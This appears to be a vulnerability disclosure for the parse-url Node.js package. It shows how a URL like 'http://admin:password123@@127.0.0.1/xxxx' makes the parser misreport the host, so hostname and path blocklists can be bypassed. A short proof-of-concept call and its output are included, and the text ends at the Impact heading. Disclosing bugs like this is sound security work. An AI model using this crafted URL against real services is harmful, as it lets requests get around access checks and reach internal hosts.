Description

urldomain validation bypass

Proof of Concept

parse-url not able verify urldomain properly when basic authentication is given .This allow to bypass hostname validation . Lets username is admin and password is password123@ and hostname is 127.0.0.1 . so the url will be http://admin:password123@@127.0.0.1 . And there is blacklist check for domain 127.0.0.1 and every request to 127.0.0.1 will be blocked .\

Now lets use parse-url

// PoC.js
parseUrl("http://admin:password123@@127.0.0.1/xxxx")

result

{ protocols: [ 'http' ],
  protocol: 'http',
  port: null,
  resource: 'admin',
  user: '',
  pathname: '/password123@@127.0.0.1/xxx',
  hash: '',
  search: '',
  href: 'http://admin:password123@@127.0.0.1/xxx',
  query: {} }

So, here see resource var not able to properly detect the urldomain 127.0.0.1 which allow bypass domain verifiaction.
Here resource is selected as admin and also pathname is not able to detect properly . If there is pathname validation present like blackilist for path /xxx then it will bypass here as here returned pathname is /password123@@127.0.0.1/xxx .

I see all other nodejs url parse like nodejs default url parser able to detect this properly but parse-url is vulnerable here .

Impact

This vulnerability is capable of...